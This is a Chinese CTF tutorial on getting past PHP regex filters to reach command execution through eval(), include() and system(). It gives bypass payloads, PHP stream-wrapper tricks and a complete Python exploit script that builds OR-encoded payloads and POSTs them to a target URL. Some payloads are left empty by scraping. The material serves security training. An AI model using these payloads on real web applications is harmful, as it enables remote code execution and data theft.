命令执行绕过的方式 当遇到eval()高危的函数时,绕过的方式: 1 1 2 if(!preg_match("/flag/i", $c)){ eval($c);
此时我们可以使用system函数来获取我们想要的信息,可以构造system(“ls”)来获取目录信息,由于过滤了flag,所以我们可以使用fla通用符来进行绕过,也可以使用fla?.php通用符来绕过,构造system(“cat fla “)或者system(“tac fla?.php”)。
2 1 2 if(!preg_match("/flag|system|php/i", $c)){ eval($c);
当过滤掉system函数时,可以使用echo 命令
的格式来代替system函数,可以构造echo tac *
;
3 1 2 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c);
可以看到它过滤了空格,因此我们可以使用%09来代替空格,构造echo tac%09*
4 1 2 3 4 5 6 7 8 9 10 11 12 13 14 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c);
可以看到这里不仅过滤掉了system函数,也过滤掉了echo函数,因此我们可以使用文件包含的方式来读取文件的信息,由于$_GET 变量用于收集来自 method=”get” 的表单中的值,而 $_POST 变量用于收集来自 method=”post” 的表单中的值,因此我们 可以构造include(或require)$_GET(POST)[a];&a=文件名的格式来读取文件的信息,但是这里过滤掉了分号,因此我们可以构造include(或require)$_GET(POST)[a]?>&a=php://filter/read=convert.base64-encode/resource=文件名来读取文件的信息,由于 $_GET[a]后面跟的是?>,不是分号,所以不可以直接读取文件的信息,需要用到php伪协议,而且&后面的字符串是不会参与到过滤中的。
5 1 2 if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c);
可构造?c=print_r(scandir(current(localeconv())));来读取当前目录下的文件,其中
1 2 3 4 5 print_r(scandir('.');------------------查看当前目录下的所有的文件 localeconv();-----------------------返回一包含本底数字及货币格式信息的数组 current();---------------------------返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
而后构造?c=show_source(next(array_reverse(scandir(getpwd()))));来读取倒数第二个文件的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 each()---------------------返回数组中当前的键/值并对数组指针向前移动一步 end()----------------------将数组的内部指针指向最后一个单元 next()----------------------将数组中的内部指针向前移动一位 prev()---------------------将数组中的内部指针倒回一位 array_reverse()------------以相反的元素顺序返回数组 getcwd()------------------获取当前工作目录 show_source()------------将突出显示的代码作为字符串返回
6 1 2 if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);");
可见正则过滤,过滤掉许多字符及数字和字母,所以我们可以使用或运算来构造我们想要的函数或命令,从而绕过正则,exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 #-- coding:UTF-8 -- # Author:dota_st # Date:2021/2/10 12:56 # blog: www.wlhhlc.top import requests import urllib import re from sys import * if(len(argv)!=2): print("="*50) print('USER:python exp.py <url>') print("eg: python exp.py http://ctf.show/") print("exit: input exit in function") print("="*50) exit(0) url=argv[1] #生成可用的字符 def write_rce(): result = '' preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-' for i in range(256): for j in range(256): if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)): k = i | j if k >= 32 and k <= 126: a = '%' + hex(i)[2:].zfill(2) b = '%' + hex(j)[2:].zfill(2) result += (chr(k) + ' ' + a + ' ' + b + '\n') f = open('rce.txt', 'w') f.write(result) #根据输入的命令在生成的txt中进行匹配 def action(arg): s1="" s2="" for i in arg: f=open("rce.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) def main(): write_rce() while True: s1 = input("\n[+] your function:") if s1 == "exit": break s2 = input("[+] your command:") param=action(s1) + action(s2) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n"+r.text) main()
7 遇到高危函数include()时,我们可以使用以下方法 1 1 2 3 4 5 6 7 8 9 10 if(!preg_match("/flag/i", $c)){ include($c); echo $flag; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; if(!preg_match("/flag/i", $c)){ include($c.".php");
此时,我们看到include()函数,我们可以想到使用?c=$_GET[a]&a=flag.php,让题目可以包含flag.php文件,但是这里直接将传入的c看成是字符串的形式,因此最后会变成include(‘$_GET[a]’),因此不可以使用,可以使用php伪协议来进行包含,但是这里过虑了 flag,注意的是通用符*或?是linux系统的命令,因此我们可以使用data伪协议:data://text/plain,php代码,因此可以构造?c=data://text/plain,=system('tac fla*');?>
2 1 2 3 4 5 6 7 8 9 <?php highlight_file(__FILE__); if(isset($_GET['file'])){ $ext = pathinfo($_GET['file'], PATHINFO_EXTENSION); if($ext==='php'){ include $_GET['file']; } }
pathinfo()函数的格式为:pathinfo(path,options),其中pathinfo()返回一个关联数组包含有path的信息 其中options有三种:
1 2 3 PATHINFO_DIRNAME - 只返回 dirname(路径) PATHINFO_BASENAME - 只返回 basename(文件名及类型) PATHINFO_EXTENSION - 只返回 extension(文件类型)
直接使用flag.php以及使用php伪协议,发现没有此文件,可以猜测也许flag不在flag.php中,因此可以使用data伪协议加include函数来执行php代码,得到我们想要的,构造?file=data://text/plain,.php来查看系统下的目录文件,然后 构造?file=data://text/plain,.php来读取secret文件的内容。也可以使用show_source()或其它读取的函数试一下
遇到system()高危函数,我们可以使用以下方法 1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); } if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); } } if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|cat|flag/i", $c)){ system($c." >/dev/null 2>&1"); } } if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1"); } } if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1"); } } if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ system($c." >/dev/null 2>&1"); } } if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ system($c." >/dev/null 2>&1"); } } if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ system($c." >/dev/null 2>&1"); } } if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } } if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } } if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c." >/dev/null 2>&1"); } }
语句”>/dev/null 2>&1”会让写入内容消失,不会回显,知识点:
1 2 3 4 5 6 7 8 9 1. >代表重定向到哪里,即:echo "123" >/www/123.txt 2. /dev/null代表空设备文件 3. 2>表示stderr标准错误 4. &表示等同于的意思,2>&1,表示2的输出重定向于1 5. 1表示stdout标准输出,系统默认值为1,所以“>/dev/null”等同于“1>/dev/null”,因此,>/dev/null 2>&1也可以写成“1>/dev/null 2>&1”
因此,语句”>/dev/null 2>&1”执行过程:
1 2 1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不显示任何信息。 2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件
所以只要用分隔符来进行命令分隔即可,分隔符:
一些符号或函数被过滤后,绕过的方式:
空格
文件名,以flag为例
1 2 3 4 5 6 通配符:*,即fla* 匹配符:?,即fla?.php 反斜杠:\,即fla\g.php,反斜杠在linux系统的命令行中不会起到转义的作用
各类命令读取操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容 grep 1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
2